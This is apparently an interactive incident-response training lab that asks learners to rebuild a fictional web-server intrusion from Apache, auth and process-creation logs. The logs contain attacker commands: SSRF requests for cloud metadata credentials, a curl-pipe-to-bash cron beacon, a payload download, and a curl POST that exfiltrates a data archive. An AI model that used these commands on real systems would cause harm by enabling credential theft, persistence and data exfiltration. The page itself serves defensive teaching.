10.LAB · Hands-On

Log Analysis · Reconstruct an Intrusion

Three log files. One intrusion. Walk the timeline, identify the IOCs, write the report.

Scenario

It's 8:47 AM, June 5, 2026. The Heliotrope Defense Systems on-call gets paged: "unusual outbound traffic from web01.heliotrope.com to an IP we don't recognize." You pull the relevant logs and start the analysis.

You have three sources: Apache access logs from the public-facing web server, auth.log from the same host, and Sysmon-style host telemetry showing process creation events. Click any highlighted entry to add it to your findings. Then build the timeline and write the report.

7
Indicators in the logs
0
You found
7
Remaining
[2026-06-05 06:14:22] 198.51.100.12 - - "GET / HTTP/1.1" 200 4821 "-" "Mozilla/5.0" [2026-06-05 06:18:45] 198.51.100.12 - - "GET /robots.txt HTTP/1.1" 200 312 "-" "Mozilla/5.0" [2026-06-05 06:22:11] 198.51.100.12 - - "GET /admin HTTP/1.1" 404 0 "-" "Mozilla/5.0" [2026-06-05 07:33:09] 10.0.0.42 - alice "GET /reports/q2.pdf HTTP/1.1" 200 142811 "-" "Mozilla/5.0" [2026-06-05 08:01:14] 203.0.113.55 - - "GET /backup/ HTTP/1.1" 404 0 "-" "Mozilla/5.0 (compatible; Nmap)" [2026-06-05 08:01:15] 203.0.113.55 - - "GET /config.php HTTP/1.1" 404 0 "-" "Mozilla/5.0 (compatible; Nmap)" [2026-06-05 08:01:16] 203.0.113.55 - - "GET /api/v1/users HTTP/1.1" 404 0 "-" "Mozilla/5.0 (compatible; Nmap)" [2026-06-05 08:01:18] 203.0.113.55 - - "GET /api/v1/preview?url=http://localhost/admin HTTP/1.1" 500 0 "-" "Mozilla/5.0 (compatible; Nmap)" [2026-06-05 08:02:03] 203.0.113.55 - - "GET /api/v1/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1" 200 18 "-" "Mozilla/5.0" [2026-06-05 08:02:05] 203.0.113.55 - - "GET /api/v1/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role HTTP/1.1" 200 1247 "-" "Mozilla/5.0" [2026-06-05 08:14:20] 203.0.113.55 - - "GET /healthz HTTP/1.1" 200 18 "-" "Mozilla/5.0" [2026-06-05 08:33:51] 10.0.0.71 - bob "POST /reports HTTP/1.1" 200 421 "-" "Mozilla/5.0"
Jun 5 06:00:01 web01 CRON[18221]: pam_unix(cron:session): session opened for user root by (uid=0) Jun 5 07:14:33 web01 sshd[19421]: Accepted publickey for alice from 10.0.0.42 port 51123 ssh2: RSA SHA256:abc123... Jun 5 07:14:33 web01 sshd[19421]: pam_unix(sshd:session): session opened for user alice by (uid=0) Jun 5 07:42:17 web01 sudo: alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/apt update Jun 5 08:07:11 web01 sshd[20104]: Failed password for invalid user admin from 203.0.113.55 port 41822 ssh2 Jun 5 08:07:13 web01 sshd[20104]: Failed password for invalid user root from 203.0.113.55 port 41822 ssh2 Jun 5 08:07:14 web01 sshd[20104]: Failed password for invalid user ubuntu from 203.0.113.55 port 41822 ssh2 Jun 5 08:07:16 web01 sshd[20104]: Failed password for invalid user oracle from 203.0.113.55 port 41822 ssh2 Jun 5 08:07:18 web01 sshd[20104]: Connection closed by 203.0.113.55 port 41822 [preauth] Jun 5 08:15:09 web01 sshd[20218]: Accepted password for webapp from 203.0.113.55 port 42003 ssh2 Jun 5 08:15:09 web01 sshd[20218]: pam_unix(sshd:session): session opened for user webapp by (uid=0) Jun 5 08:16:42 web01 sudo: webapp : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/bin/bash -c 'crontab -l; echo "*/5 * * * * curl -s http://203.0.113.55/beacon | bash" | crontab -' Jun 5 08:31:55 web01 sshd[20218]: pam_unix(sshd:session): session closed for user webapp
2026-06-05 06:00:01 ProcessCreate ppid=1 (systemd) pid=18221 image=/usr/sbin/cron cmdline="cron -f" 2026-06-05 07:14:35 ProcessCreate ppid=19421 (sshd) pid=19422 image=/bin/bash cmdline="-bash" user=alice 2026-06-05 08:02:05 ProcessCreate ppid=8821 (nginx) pid=22014 image=/usr/bin/curl cmdline="curl http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role" user=www-data 2026-06-05 08:15:11 ProcessCreate ppid=20218 (sshd) pid=22301 image=/bin/bash cmdline="-bash" user=webapp 2026-06-05 08:16:33 ProcessCreate ppid=22301 (bash) pid=22408 image=/usr/bin/curl cmdline="curl -s -o /tmp/.x http://203.0.113.55/payload.sh" user=webapp 2026-06-05 08:16:41 ProcessCreate ppid=22301 (bash) pid=22411 image=/usr/bin/sudo cmdline="sudo bash -c crontab..." user=webapp 2026-06-05 08:18:02 ProcessCreate ppid=22301 (bash) pid=22455 image=/usr/bin/tar cmdline="tar czf /tmp/.h.tgz /var/www/heliotrope/data/" user=webapp 2026-06-05 08:18:48 ProcessCreate ppid=22301 (bash) pid=22466 image=/usr/bin/curl cmdline="curl -s -X POST --data-binary @/tmp/.h.tgz http://203.0.113.55/up" user=webapp 2026-06-05 08:19:11 NetworkConnect pid=22466 (curl) dst=203.0.113.55:80 bytes_out=42,847,221 user=webapp 2026-06-05 08:31:54 ProcessCreate ppid=22301 (bash) pid=22501 image=/bin/bash cmdline="bash -c 'rm -f /tmp/.x /tmp/.h.tgz'" user=webapp

Findings · click highlighted log entries above to populate

No findings yet. The yellow-highlighted lines in each tab are the interesting ones.

Build the timeline

Once you've found all seven indicators across the three logs, you can stitch them into a chronological narrative of what happened. Click the button to reveal the official timeline.

The point

Log analysis is the foundational DFIR skill. Most intrusions leave a trail across multiple logs that no single source captures. The web access log told you the SSRF happened; the auth log told you SSH came next; the host telemetry told you the persistence and exfiltration. Each in isolation looks like noise; together they reconstruct the story.

The discipline is centralized logging (so all three sources are queryable in one place), retention long enough to look back when an alert fires, and the analytical pattern of walking the timeline, not chasing the most suspicious-looking single entry. Real DFIR work spends most hours doing exactly the exercise above — on real logs at much larger scale.